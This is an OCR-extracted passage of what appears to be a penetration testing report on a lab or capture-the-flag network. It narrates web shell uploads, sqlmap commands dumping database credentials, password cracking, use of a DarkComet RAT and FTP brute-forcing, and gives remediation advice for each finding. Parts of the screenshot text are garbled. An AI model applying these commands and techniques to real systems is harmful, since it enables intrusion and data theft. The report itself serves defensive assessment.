Employeo Id NIC Number EPFI
» Qualfications
2000 284-38-3635
* Projecls
» Document Management ;
Personal Information
» Company Loans
e Driver’s License Number Other Id Birth Day Gand
794-38-1535 March 17th, 1984 Male
» Leave Calendar Nationality Marital Status Joined Date
Bl Reports F Canadian Married August 3rd, 2005

My Detasils  Company

James P

Figure 50: ICE HRMS User's Profile Image File Replaced with Web Shell

In order to get the URL of the Web shell, the Security Consultant right clicked on the “User Image”
followed by clicking on “Copy Image Location” from the popup menu, as shown in Figure 51.

TEaE o +aeDd =

€ & rospectrehaldingscom. spp (e o dulesfon emplopees ‘n o el @\‘5—. @ | | D Search

lee Hrm — (4 switen Employes L James - 9 -
imane _ .lameas P H 3 - ok indcsrrncabba
e Basic Information eercons ntormatien
__{Copxlrege
Al Capy e Location N My Detaits Company
Ermail Image...
= View image Inlo
Inspect Element (L)
i (] James P
s X ]
¥ Employees Editinfe  Upload Profile bmage  Delete Prodie image
» Jobs
Employea Id NIC Humbar EPFX
» Cuakficabons 2000 264.38-3835
» Proptis
» Document Managemenl
Personal Information
» Company Loans
L Driver's License Number Oehar ld Birth Day Gand
EAVES
284-38-3535 March 17th, 1884 Male
Leave Calendar
> Leme Caenca Nationality Marital Status Joined Date
B Reports ‘ Canadian Married August 3rd, 2005

Figure 51: URL Location of Web Shell
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The copied image location was navigated and successfully accessed the Web shell. Using LOCATE
command, the Security Consultant found a hr_files.txt file which contained employee confidential data
such as offered CTC, SSN, Salary and Employee ID.

[ + p [ I.r.-:p:ctr:hnldingshmm app/data r.l':~|||r_|n|.'|-:|c_].;:I1F:—'!t-.-r|11|".1 \Wat || Q Seorch

Explorer Termimal Eval Convert katabase Infa mail Wetwork Processes

Server IP : 172.29.20.2 | Your IP : 192.168.8.2

Time § Server : 89 Jun 2817 21:88:11

Linux jeson-virtual-machine 3.11.8-15-géneric #25~precisel-ubunty 5MP Thu Jan 3@ 17:42:46 UTC 2814 1685
ApaEhef2 2 22 (Ubunti) | PHP 5.3.18-lubuAtul. 19

fwar fwwa f Loehrnfapp fdata f>1Tcontig
sh: 1: ifconfig: mot Toumd

fwar fwew { Loehrn/app/data f wioal
www - Jata

( &

[home [ jason/Docanents) hr _files. txt

ar fwwe (icehrnfapp/data /= locate hr_files tut
\_/war fhr_files. txt

[ (;..-.1-' fwww ficehrnfapp/data/>1ess fvar/hr_files.tut
Here are the details of Sterc, php developer:
1. pesignation: php developer
i E].pﬂ'l'tfl‘ll!t: & VEars
3. Offered CTC: 55008

\d. S5M: 134871452

[war fwwnfLoehrmfapp data f=less fhome/ jason/Documents_hr_files. txt
employes name: xXyT

employee id: S6E%90%8TE

\mln-ye-e salary: ST900

fvar fvww/Leehrn/app fdataf=

Figure 52: Sensitive Data Found on hr.spectreholdings.com

Recommendations

e Change default password.

e Use a strong password such as a combination of Alphanumeric and special characters.

e Change or rename default admin Username.

e For the Malicious Image File Upload, report the bug to developer to fix the defect such as
providing input sanitation or validation on the image file upload.

e Use Hypertext Transfer Protocol Secure (HTTPS) to protect the integrity and confidentiality of
data between the user's computer and the site.

e Adopt HTTPS in order to prevent the transmission of confidential data in clear text such as user
credential/password and session/cookie details.
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3.7. Challenge 7

Vulnerability Information

SQL Injection, Vulnerable Web Application, Weak Password

Web Application

HIGH

Development Flaw

Validation

Description

SQL Injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL
statements (also commonly referred to as a malicious payload) that control a web application’s
database server (also commonly referred to as a Relational Database Management System — RDBMS).
Since an SQL Injection vulnerability can possibly affect any website or web application that makes use of
an SQL-based database, the vulnerability is one of the oldest, most prevalent and most dangerous of
web application vulnerabilities.

The like of eXploit.co.il which is a vulnerable Web app designed as a learning platform to test various
SQL injection Techniques. This is a fully functional web site with a content management system based
on fckeditor.

Impact

By leveraging an SQL Injection vulnerability, given the right circumstances, an attacker can use it to
bypass a web application authentication and authorization mechanisms and retrieve the contents of an
entire database. SQL Injection can also be used to add, modify and delete records in a database,
affecting data integrity. To such extent, SQL Injection can provide an attacker with unauthorized access
to sensitive data including, customer data, personally identifiable information (Pll), trade secrets,
intellectual property and other sensitive information.

More Information

https://en.wikipedia.org/wiki/SQL_injection

https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/Top_10_2017-Al-Injection

Narrative

The Security Consultant executed a telnet session to sales.spectreholdings.com on port 80. The result of

the telnet session provided details about the Apache web server version and discovered
marketing.spectreholdings.com subdomain running on port 80, as shown in Figure 53.
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(=

sales.spactreholdings.com 80

<!DOCTYPE HTML PUBLIC "-//IETFS/DTD HTML 2.86//EN":
>ead=

a-out</tit]

a-out=/hl=>

timaout waiting for thae HTTP request from the client.</p=

(Ubuntu) Server at [marketing.spectrehaldings.com Port B0

1 W ‘fl._l 0l gn host .
Figure 53: Discovered marketing.spectreholdings.com Subdomain via Telnel Session

The Security Consultant navigated to the discovered subdomain (http://marketing.spectreholdings.com)
but provided no clue about the web application.

spectreneldings, com + & B~ L = ~

1 Most Visited™ l!lOffensw?fuec.Jrl'.'J S, Kali Linux W, Kali Docs “Zu:..olt-l]ﬁ W Aircrack-ng

Figure 54: marketing.spectreholdings.com Default Page

The Security Consultant used Nikto web scanner to perform comprehensive test against the target web
application (marketing.spectreholdings.com). It checked the server configuration items such as the
presence of multiple index files, HTTP server options, and attempted to identify installed web servers
and software among others.

As a result of the web scan test, interesting folder was found called “admin” which lead to more details
to the success of compromising the system.
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The Security Consultant navigated to http://marketing.spectreholdings.com/admin and analyzed the
login page source code, as shown in Figure 57. It appeared on the title tag, the web application is
eXploit.co.il. eXploit.co.il is a vulnerable Web application designed as a learning platform to test various
SQL Injection techniques.

5] spectreholdings.com ~ @& B~

T Maost Visited > lflﬁ‘-’«n'.\-ﬂ Security "% Kali Linux ‘\_ha: Docs “Fi;;l-’::l-l‘.'ﬁ \»‘-.rclAri-—r'q

Figure 56: marketing.spectreholdings.com Admin Page

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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r - TFMLTE o
" comtert="gpl exploit code. exploi O-day., Dday exploit. zero day. poc. exploit. local exploits. remote exploits.
' rel="s :

" link="#00c000" text="#008000" vlink="#00c000"=

=centers

<table border="0"=
tr»

<td nOWrap="nowrap":>

</t
</tr=
< /tablex

<table width="568" border="0" cellpadding="3" cellspacing="3" class="nain">

<tre<ti=</td=</tra<tra<td=
<ER=>
<BR=>
<BR=
<AR=>
<BR=
<table borderColor-"#333333" width-"557" align-"center” border="0"=<thody=
<tr=

<td al ign="niddle" vAlign="top"s=

<table width<"300" berder<"0" align="center® cellpadding="0" cellspacing="1">

c%’:ln name="fornl" method="post" action="checklogin.php'>

::gl.;'lo width="100%" berder="0" cellpadding-"3" cellspacing-"1">

-eT:i .‘rol span="3">=<strong><center><hd=advinistrater Logins/hd==/centers</strong=</td=
e

<td width= td

<td width="254"><input name="nyusernanz" type="text" id="nyusernanz" style="background-color: eld293f: font-weight: bold*=</td=

<td=<input name="nypassword" type="password® ids"nypassword” style="background-color: #1d233f: font-weight: bold*=</td=
</tr=
S

Figure 57: HTML Source Code for marketing.spectreholdings.com Admin Page

The vulnerable page is “artpage.php” with an “id” parameter which is the unique identifier of an article.

‘1'4’[ spectrehol dings.com ] -ur.i-j {,}v L e

Mozt Visited™ HO"E"“H\’— SeCul

Figure 58: Vulnerable eXploit.co.il Article Page

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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The Security Consultant used SQLMap to exploit the web application.

The following command was used to list all databases available on mySQL server:

#sqglmap -u http://marketing.spectreholdings.com/artpage.php?id=1 --dbs

SJHULL  NULL  NULL , NULL

Figure 59: SQLMap Result (List of Databases)

|ll

The following command was used to list usernames and passwords of “mysql” database utilizing the

SQLMap dictionary bruteforce attack:

#sqglmap -u http://marketing.spectreholdings.com/artpage.php?id=1 -D
mysql -T user -C Host,User,Password --dump

As shown in Figure 60, hashed passwords were successfully cracked.

ADB

L-machine b CY¥72 C10 : ASBBBF1240A11

3BF 1249

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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The Security Consultant successfully logged in to phpMyAdmin portal using the cracked password of
“phpmyadmin” account.

e spectreholdings.com ~ i@ B~ | e

Most Visited ™ H{Jf‘-ﬂ".ﬁw-'bﬂ-._lz'.', S Kali Linux & Kali Docs “!‘l.'-li'\l'.-:]:"\ \r‘\.'rtlnll.'r'l_]

php

1811 Status Processes « Export s Import Variables v Mare

" o omomow

Figure 61: Successful Login to phpMyAdmin on sales.spectreholdings.com

The following command was used to list all tables of “marketing” database:

#sqlmap -u http://marketing.spectreholdings.com/artpage.php?id=1 -D
marketing --tables

T NULL, NULL

Figure 62: SQLMap Result (List of Tables for marketing Database)

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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The following command was used to list usernames and passwords of “marketing” database:

#sqlmap -u http://marketing.spectreholdings.com/artpage.php?id=1 -D
marketing -T members —-C id,username,password

The password field is not encrypted at all, as shown in Figure 63.

Figure 63: Cracked Users Password from members Table of marketing Database

The following command was used to list all tables of “sales” database:

#sqlmap -u http://marketing.spectreholdings.com/artpage.php?id=1 -D
sales --tables

Figure 64: SQLMap Result (List of Tables for sales Database)

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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The following command was used to list usernames and passwords of “sales” database utilizing the
SQLMap dictionary bruteforce attack:

#sqlmap -u http://marketing.spectreholdings.com/artpage.php?id=1 -D
sales -T user -C salt,username,password --dump

As shown in Figure 65, hashed password for “admin” account was successfully cracked.

= Pangolin)

do you want to store hashes to a temporary file for eventual further processing with other toels [y/N] y

do you want to crack them via a dictionary-based attack? [Y/n/fq] Y

Figure 65: Cracked administrator Account Password

The Security Consultant successfully logged in to Wolf CMS using the cracked password of
“administrator” account and uploaded the Web shell under “Files” tab.

L -1‘" spectreholdings com « g B~

Most Visted™ '_"C[‘ﬂ.".'.l.'o Security "W Kali Linux " Kali Docs [RExploit-D8 ‘r‘\rcr,-n:k-".g

Wolf CMS

DUD l'"l.r n

Fils Siz Peimissions Modded Madity u
4 kb drvmrwarss (97770 wed, & Apr, 2016 Th=

- = P s 36 top, 2013 no D
[L n b, T kb ETRR T i Sun, 11 Jun, 201 ] L=

Figure 66: Successful Login to Wolf CMS and Uploaded Web Shell

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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The uploaded Web shell was successfully accessed. Using LOCATE command, the Security Consultant
found a secret.txt file which contained clients’ account numbers.

L r-*l sales spectreholdings. com/public/acr Shell php&ltermina > E| ﬂ‘-" Google

B Most Visited>  [llOffensive Security " Kall Linux "8 Kali Docs [RExploit-DB Wy Aircrack-ng

Explorer Terminal Eval Convert Database Info Mail HNetwaork Processes

Server IP - 10.10.20.4 | Your IP : 192.168:0.3

Time @ Server 11 Jun 2817 B6: 58: 40

Linux jason-Virtual-Machine 3 11 0-15-generic #25-precisel-Ubuntu SHP Thu Jan 38 17 42 40 UTC 2014 1686
Apachef2 2 22 (Ubuntu) | PHP 5 3 10-lubuntu3 19

home/ jason/Documents) secret tx
Jhome/ jason/Decuments/ secret txt-

-locate secret txt
! t

*Less Shome/jason/Documents/ secret txt
Here 1s a list of all the clients' account numbers
[Client A: 12345678901
Client B: 12345678902
Cltent C. 12345678903

Figure 67: Sensitive Data Found on sales.spectreholdings.com

Recommendations

e Use a safe APl which avoids the use of the interpreter entirely or provides a parameterized
interface. However, be careful with APIs, such as stored procedures that are parameterized that
can still introduce injection under the hood.

e Carefully escape special characters using the specific escape syntax for interpreter.

e Positive or “white list” input validation.

e Remove the eXploit.co.il web application on the production environment.

e Use a strong password such as a combination of Alphanumeric and special characters, do not
use dictionary word.

e Consider a web application firewall (WAF) — either software or appliance based — to help filter
out malicious data. A WAF can be particularly useful to provide some security protection against
a particular new vulnerability before a patch is available.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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3.8. Challenge 8

Vulnerability Information

Malware

Internal Network

HIGH

Configuration Flaw

Information

Description

Malware is an abbreviated term meaning “malicious software.” This is software that is specifically
designed to gain access or damage a computer without the knowledge of the owner. There are various
types of malware including Trojan, spyware, keyloggers, true viruses, worms, or any type of malicious
code that infiltrates a computer.

Generally, software is considered malware based on the intent of the creator rather than its actual
features. Malware creation is on the rise due to the sheer volume of new types created daily and the
lure of money that can be made through organized Internet crime. Malware was originally created as
experiments and pranks, but eventually led to vandalism and destruction of targeted machines. Today,
much of malware is created for profit through forced advertising (adware), stealing sensitive
information (spyware), spreading email spam or child pornography (zombie computers), or to extort
money (ransomware).

The like of DarkComet remote access Trojan (RAT) is a malware program that includes a back door for
administrative control over the target computer. RATs are usually downloaded invisibly with a user-
requested program -- such as a game -- or sent as an email attachment. Once the host system is
compromised, the intruder may use it to distribute RATs to other vulnerable computers and establish a
botnet.

Because a RAT enables administrative control, it makes it possible for the intruder to do just about
anything on the targeted computer, including:

e Monitoring user behavior through keyloggers or other spyware.

e Accessing confidential information, such as credit card and social security numbers.
Activating a system's webcam and recording video.

Taking screenshots.

Distributing viruses and other malware.

Formatting drives.

e Deleting, downloading or altering files and file systems.

RATs can be difficult to detect because they usually don't show up in lists of running programs or tasks.
The actions they perform can be similar to those of legitimate programs. Furthermore, an intruder will

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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PENETRATION TESTING REPORT

often manage the level of resource use so that a drop in performance doesn't alert the user that
something's amiss.

Impact

Remote Access Trojans (RATs) can provide an attacker with unlimited access to infected endpoints.
Using the victim’s access privileges, they can access and steal sensitive business and personal data
including intellectual property, personally identifiable information (PII).

More Information

https://en.wikipedia.org/wiki/Malware
https://en.wikipedia.org/wiki/Remote_administration_tool

Narrative

The Security Consultant was able to discover three (3) candidates running Windows 7 operating system
based on NMAP scan results. The IP addresses discovered are as follows:

172.19.20.5 (Compromised via DarkComet)
172.17.19.5
172.20.20.3

There are many Remote Access Trojans (RAT) tools available in the in the planet. The lists of common
RATSs are as follows:

RAT NAME DEFAULT PORT/S
Back Orifice | 31337

NetBus 12345/12346/20034
Poisonlvy 3460

Sub Seven 27374

Beast Trojan | 6666/9999
Bifrost 1971/1999
Blackshades | 4444

DarkComet 1604
Win32.Hsldir | 3389

Optix Pro 3410

VNC 5900/5800/5500
GhOst RAT 8080

From the above mentioned RATs, DarkCommet was detected on 172.19.20.5 host which is connected on

port 1604.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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™ DarkComet-RAT v3.0.1 - [ Online Users: 1] =il O ik
+ Listen  Edit Server  [Menu]

=~ hsock o P WenLan] : Port  ComputerNamefUserNeme 05 RAM __ Language/Country
= 958 Guestls 172,19.20.5/[1... FD-04/Admin01 Windows 7 Servic..,  474.42MB/2.00GB [1,54... Engish (United Sta

<] [ »
' Connections ; On Connect | General Settings | Bot Shellflogs | Sockets List |

Figure 68: DarkComet Command and Control Client

Administrator;

?2.1 :1684 72.19.28.5:57898

Figure 69: DarkComet Connected to 172.19.20.5

Using the DarkComet “File Manager” search functionality, the Security Consultant found a zip file named
“Salary_Register.zip” in C:\ drive under “FTP” folder.

-~ DarkComet-RAT v3.0.1 - [ Online Users: 1] =8| %

+ Listenn  Edit Server  [Menul
hSodk i 1P WanjjLan] : Port  Comouter MameUserMame 05 RAM Language Country
£ Guestl& 172.19.20.5 f[1... FD-04 [ Admind1 Windows 7 Servic..,  474.42MBf2.00GE [1.54,., Englsh (Ureted Sta
=2 Control : [FD-04 / Admin01], Socket ; [956]. o el

v System info [ System Morstor Computer Informaton | Trace ap |
CPU Usage chart

Lecal Folders: 10 Local Files: 0 Remote Folders : 1 Rermote Fh I

<

(]

=

&,

o

=}

=

N

~ Search —

o

(o))

—

=

Status : Finish... | <
e ] N
o

=

~

Figure 70: Salary_Register.zip File Found on 172.19.20.5

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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Using the DarkComet “File Manager” file explorer functionality, the Security Consultant navigated to C:\
drive under “FTP” folder to locate and download the “Salary_Register.zip” file along with the hint.txt file.

L DarkComet-RAT v3.0.1 - [ Online Users: 1] =e ¥
+ Listen  Edit Server  [Menu]
=  hSodk ID IF Wan/[Lan] : Port  Computer Mame/UserfMame OS5 RAM Language fCountry
18 geg Guestls 172,19, 20,5/ [1... FD-O4 [ Admn01 ‘Windows 7 Serwc.., 474,41 MB/2.00 GB [1.54... Englsh [United 5ta
- Control : [FD-04 / Admin01], Socket : [956]. =SlEL|I
b [ System Info [ system Morstor  Computer Information | Trace Map |
E

CPU Uisage chart

Type Size

Falger

Text Domment 55,00 Bytes
. WrRAR TP ar.. 316.00Bytes

A BEHDR

FEFRRERFEF

=%

¥

= FACTVOTE ¥V ITTOS
Local Files: D Remote Folders ;1 Remote Files :2

Figure 71: Downloaded Salary_Register.zip and hint.txt Files

The Security Consultant attempted to unzip the “Salary_Register.zip” but the file is password protected.
However, the hint.txt file holds the answer to unzip the “Salary_Register.zip” file. As shown in Figure 72,
the hint.txt file contained password hash.

| -] Salary_Register.zip 6132017 10:21 AM 2P File 1KB
|| hintbet &1 0:31 AM  Tot Document 1KB

File Edit Format View Help

| [Password hash: ef@ebbb77298e1fbd81f/56adefc35b977c93dae)

Figure 72: Password Hash Found on hint.txt File

Using dictionary bruteforce attack, the password hash was cracked, as shown in Figure 73.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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Figure 73: Cracked Password Hash

Using the cracked password hash, the “Salary_Register.zip” was successfully unzipped. The
“Salary_Register.zip” contained “Employee Details.txt" file. The “Employee Details.txt" file contained
confidential data such as Employee Salary, Date of Birth, and Employee address, as shown in Figure 74.

|| Emiphoyes Details.tet 10125318 AM Tt Docurment 1 KB

| File ﬂil Format View Help

|| Employee Mame: John
Employee Salary: 33180
Employee DoB: 16th May, 1965

Employee Address: Crowndale Centre, Eversholt Street NWl, London.

Figure 74: Sensitive Data Found on "Employees Details.txt" File

Recommendations

The best protection from malware continues to be the usual advice: be careful on opening an email
attachment coming from unknown or unfamiliar sources, be cautious when surfing and stay away from
suspicious websites, and:

Isolate and disconnect the infected computer from the Network and perform malware removal.

Install and maintain an updated, quality antivirus program.

Keep antivirus software up to date

Refrain from downloading programs or opening attachments that aren't from a trusted source.

e At the administrative level, block unused ports, turn off unused services and monitor outgoing
traffic.

e Implement firewall software to block unwanted incoming and outgoing port connections.

e Protect sensitive data using strong password such as a combination of Alphanumeric and special

characters, do not use dictionary word.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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3.9. Challenge 9

Vulnerability Information

Unsecured FTP, Weak Password

Internal Network

MEDIUM

Configuration Flaw

Information

Description

FTP can only handle usernames and passwords in plain text. This is one of the reasons why the root
account cannot be used for FTP access on most servers. The same applies for telnet. FTP is not the only
protocol that sends everything in the clear, POP, IMAP, and Jabber are some other equally guilty
protocols. The difference however is that FTP is very commonly used to upload contents to various kinds
of servers including webservers.

Usernames and passwords are not the only things that are sent over clear text. The files themselves are
uploaded or downloaded without any encryption at all. FTP communication is vulnerable to packet
sniffing and bruteforce attack.

Impact

A malicious attacker can sniff FTP password or bruteforce using dictionary attack and deface a website
or download files that will lead the company businesses at risk.

More Information

https://en.wikipedia.org/wiki/File_Transfer_Protocol
https://en.wikipedia.org/wiki/FTPS

Narrative

The Security Consultant was able to discover four (4) candidates running FTP service based on NMAP
scan results. The IP addresses discovered are as follows:

172.16.16.3 (Compromised)
172.17.19.5
172.19.20.5
172.20.20.3

The Security Consultant used Metasploit Framework to bruteforce the FTP account using FTP login
dictionary attack. The cracked account shown in Figure 75.

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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Figure 75: Cracked anthony Account Password

The Security Consultant successfully connected to FTP server using the cracked password of “anthony”
account. An interesting bitmap image file was found on the FTP root directory and successfully
downloaded the Steganography.bmp.

Figure 76: Steganography.bmp File Found on 172.16.16.3

The details of the bitmap image is shown in Figure 77.

Steganography.bmp

Image Edit V

File size:
196.5 kB
Folder:

Metadata

Aperture Value:

els 19 00%

Figure 77: Steganography.bmp Image
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There are many Steganography tools available in the planet. The Security Consultant used QuickStego to
extract the text contained in “Steganography.bmp” file.

Ed QuickStego - Steganography - Hide a Secret Text Message in an Image -

Upgrade

Figure 78: Extracted Information from Steganography.bmp

Recommendations

e Use SFTP (which uses the SSH protocol) or FTP(S) which uses the FTP protocol with SSL for
encryption.

e Consider using a solution like fail2ban to help block password guessing attempts.

e Automatic banning after too many invalid logins is possible.

e Change the port that it listens to avoid the noise in the logs of random attacks.

e Locking down access to specific source IP addresses and limit who can attempt to access the
server.

e Allowing or denying access from given IPs, both per-user and globally for the server.

e Set strong password such as a combination of Alphanumeric and special characters, do not use
dictionary word
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3.10. Challenge 10

Vulnerability Information

Unsecured Web-Based File Manager
Web Application

HIGH

Configuration Flaw

Configuration

Description

A web-based file manager is a file management tool that has the ability to create, rename and delete
folders; create, upload, rename, download and delete files; edit text files; view image files; sort by
name, size, mode and date modified; and more using a web browser.

Impact

An attacker can download sensitive files, upload virus or malware, delete files and make unauthorized
changes on the system.

More Information

https://en.wikipedia.org/wiki/File_manager

Narrative

The Security Consultant found PHP File Manager wide open without any protection and successfully
uploaded the Web shell to compromise the target host.

@ _Id finance0 spectreholdings.com/index. php ~ @ [mv Google o
2 Most Visited~ [JOffensive Security " Kali Linux W Kali Docs KRExploit-DB Wy Aircrack-ng
c/ % || Ratrash | || Serverinfo || Serverinfo || Create Directory || Create File || Upload | 192.168.0.3
C:iwampiwwwiphpFileManager/ | Al || inverse || Delste || Copy || Move || Compress | Permissicns |
Leave | Hame Parm Size Date Type
LICENSE.html GEBE 6767 Kb 26/09/15 01:28 html Delete Rename Edit View
index.php GEE 232 91 Kb 2902/16 12:24 php Delete Rename Edit  View

| Al Inverse || Deleta . Copy | |m| | Compress. Parmissions

0 directory(s) and 2 file(s) = 300.48 Kb

Partition: 126.65 Gb total - 113.1 Gb free

Time to render this page: 0.1174 sec

Figure 79: PHP File Manager Default Page of finance03.spectreholdings.com

The Security Consultant utilized the uploaded Web shell and navigated to “Terminal” section to activate
shell access to the system. As shown in Figure 80, IPCONFIG command was executed to confirm the IP
address of the target system. The Security Consultant found a Financiers.txt file which contained list of
financers contributing to the organization.
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‘ [d' ance03 spectreholdings.com/acr Shell php#!terming

2 Most Visited~ [FOffensive Security N Kali Linux W Kali Docs KBExploit-DB Wy Aircrack-ng

Explorer Terminal Eval Convert Database Info Hail Network Processes

ITIVEL LF . /L. 47 . 40.% | TUUl IF . A3L.4100.0.3

Time @ Server : 16 Jun 2017 02:52:45

Windows NT FD-83 6.2 build 3266 (Unknown Windows wersion Business Edition) AMDE4
Apache/2.4.2 (Wing4) PHP/S.4.3 | PHP 5.4.3

C \\»ipconfig

Windows IP Configuration

Ethernet adapter Ethernet

Connection-specific DNS Suffix

Link-local IPvé Address . . . . . : fe8@::6c3a:bcbl:aThe: e957%7
Irv4d Address. . . . . . . .. . .o 172.19.20.4
Subnet Mask . . 2 5 i .+ 255.255.0.0
pefault Gateway . 5 o Eas s e 17201529

~ Tunnel adapter isatap. {3063556B-3ATE-4106-873F-062C4ESD464E)

Media state . . . . . . . . . _ . : Media disconnected
Connection-specific ONS Suffix

C \\»dir /b fs Financiers. txt
C:\Uusers\Student\Documents\Financiers. txt

C \\»type C:\Users\Student\Documents\Financiers. txt

These are the list of financiers contributing to our organization
oill Inc

abc financiers

fedfx corporation

ez

Figure 80: Sensitive Data Found on finance03.spectreholdings.com

Recommendations
e Define the purpose of using PHP File Manager, else remove from the production server.
e PHP File Manager must be password protected.
e |P whitelisting the access to the PHP File Manager to ensure that only specific IPs can access it.
e Use a strong password such as a combination of Alphanumeric and special characters.

e Use Hypertext Transfer Protocol Secure (HTTPS) to protect the integrity and confidentiality of
data between the user's computer and the site.

e Adopt HTTPS in order to prevent the transmission of confidential data in clear text such as user
credential/password and session/cookie details.

e Implement a mechanism to automatically detect a malicious Web Shell scripts on the web
server.

e To manage the file in a secured channel, use SFTP (which uses the SSH protocol) or FTP(S) which
uses the FTP protocol with SSL for encryption.
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4. Result Analysis

The Security Consultant uses the security limitation of IT Infrastructure (Network Devices and Servers)
and web applications to compromise most of the targets. The Security Consultant discovered a number
of High and Medium vulnerabilities that Spectre do not comprehend the severity of leaving the systems
by not implementing full security consideration to protect the interest of the organization.

The Security Consultant performed port scan to 10.10.20.0/24, 10.10.30.0/24, 172.19.20.0/24,
172.17.19.0/24, 172.16.16.0/24, and 172.20.20.0/24 subnets to identify all nodes, workstations, servers,
domain controller, web servers, Linux machines, Windows machines, web applications, firewalls, IDS, et
cetera in the network and discover all running services (refer to Appendix B). This information is used as
input to build a blueprint of the network infrastructure to identity attack paths and entry points. A
malicious attacker can perform the same activity.

A machine running Microsoft Windows XP with IP Address of 10.10.20.2 was compromised due to poor
patch management. The Security Consultant was successfully exploited the target host using MS08-067-
NETAPI which is a service that could allow remote code execution. The Security Consultant used
Metasploit Framework to exploit the vulnerability and initiated a command shell to further the attack.

Apart from the above findings, the Security Consultant has discovered SSH service enabled on
10.10.20.6 from the NMAP scan. The Nessus vulnerability analysis results suggest that the host having
an IP Address of 10.10.20.6, the root account is set to default password and it was confirmed.

Most of the compromised hosts are running with vulnerable web applications. These web applications
WordPress, Joomla, phpMyAdmin, ProjectSend, Ice HRMS, Wolf CMS, eXploit.co.il, and PHP File
Manager, which are provided by third party developers.

The WordPress installed on finance.spectreholdings.com is vulnerable to username enumeration. Tools
such as WPScan allows a malicious attacker to scan the blog for security holes and detects the version of
WordPress, and version of all plugins and cross-checks with a vulnerability database to see if there are
any security threats. WPScan provides multiple ways to discover the usernames of accounts on
WordPress web application. The Security Consultant utilized WPScan to exploit vulnerability to
enumerate user accounts and brute-forced the password using dictionary attack.

The ProjectSend installed on admin.spectreholdings.com is vulnerable to Arbitrary File Upload. The
'process-upload.php' file allows unauthenticated users to upload PHP files resulting in remote code
execution as the web server user. A remote attacker can exploit this to execute arbitrary code within the
context of the application, via a crafted HTTP request. The Security Consultant was successfully
exploited the target host using ProjectSend Arbitrary File Upload (projectsend_upload_exec) in
Metasploit which allows unauthenticated users to upload PHP files resulting in remote code execution
as the web server user.

The ICE HRMS installed on hr.spectreholdings.com, the admin account default password remain
unchanged. A malicious attacker can gain unauthorized access to the application very easily. In addition
to that, the user credential was sniffed and revealed in clear text due to the fact that the web
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application is not running on a secured channel. The Security Consultant logged in to the ICE HRMS web
application using the default password for the admin account and discovered the “Upload Profile Image”
has sanitation defect which allows uploading any type of files without input validation.

The eXploit.co.il, a vulnerable application which is as a learning platform to test various SQL injection
Techniques was found on marketing.spectreholdings.com. The Security Consultant took advantage the
vulnerability of eXploit.co.il web application to compromise the system. SQLMap was used to exploit the
SQL Injection vulnerability to uncover details to further attack the system. The admin user credential of
Wolf CMS was successfully cracked and was able to login to the administration portal.

A web-based PHP file manager installed on finance03.spectreholdings.com is wide open without
protection. This file management tool that has the ability to create, rename and delete folders; create,
upload, rename, download and delete files; edit text files; view image files; sort by name, size, mode
and date modified; and more using a web browser, an attacker can download sensitive files, upload
virus or malware, delete files and make unauthorized changes on the system.

The exploited web application vulnerabilities mentioned above, the Security Consultant was able to
upload a Web Shell. Using the Web Shell, the Security Consultant had more control to the system,
further the attack and able to search sensitive data.

The phpMyAdmin installed on techsupport.spectreholdings.com, the root account is set with a weak
password. Weak passwords can make the company vulnerable to malicious attackers and may put the
business at risk. Bruteforce attack was performed using PATATOR against the phpMyAdmin. The result
of bruteforce attack for “root” account was successful. The Security Consultant successfully logged in as
“root” to the phpMyAdmin portal and extracted all user accounts (username and password) available on
the MySQL database. Using John the Ripper password cracker, hashed weak passwords have been
cracked successfully.

The absence network-based or host-based intrusion detection/prevention (IDS/IPS) and antivirus
definition is not updated regularly, the existence of Malware was not detected. DarkComet was
detected on 172.19.20.5 and communicating to port 1604. The Security Consultant leveraged this
remote administration tool (RAT) to compromise the system and able to search sensitive data.

An FTP server running on 172.16.16.3 was discovered with weak password. The Security Consultant
successfully a user credential using Metasploit Framework to bruteforce FTP accounts using FTP login
dictionary attack. In addition to that, FTP can only handle usernames and passwords in plain text. And
Usernames and passwords are not the only things that are sent over clear text. The files themselves are
uploaded or downloaded without any encryption at all. FTP communication is vulnerable to packet
sniffing and bruteforce attack.
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5. Recommendations

This section provides suggested solutions to remediate the vulnerabilities found during the penetration
tests. The security assessment carried out at Network Infrastructure and web applications ranks as LOW
to MEDIUM.

Black Box Penetration Testing approach was adopted in performing the tests, see Comprehensive
Technical Report section for complete details.

Implementation of any of the recommendations is strictly voluntary on the part of Spectre and is at the
discretion of the organization’s management. The implementation of any recommendations contained
herein does not guarantee the elimination of all risks.

Server Service Could Allow Remote Code Execution

Internal Network

HIGH

Patch Management

Configuration

Description

The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold
and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary code via a crafted
RPC request that triggers the overflow during path canonicalization.

Impact

A malicious attacker can exploit the vulnerability by parsing the flaw in the path canonicalization code of
NetAPI32.dll through the Server Service which allows a bad actor to perform remote code execution.

Recommendations

e Apply security update and patch immediately.

e Always check for security updates and apply the latest service pack regularly.

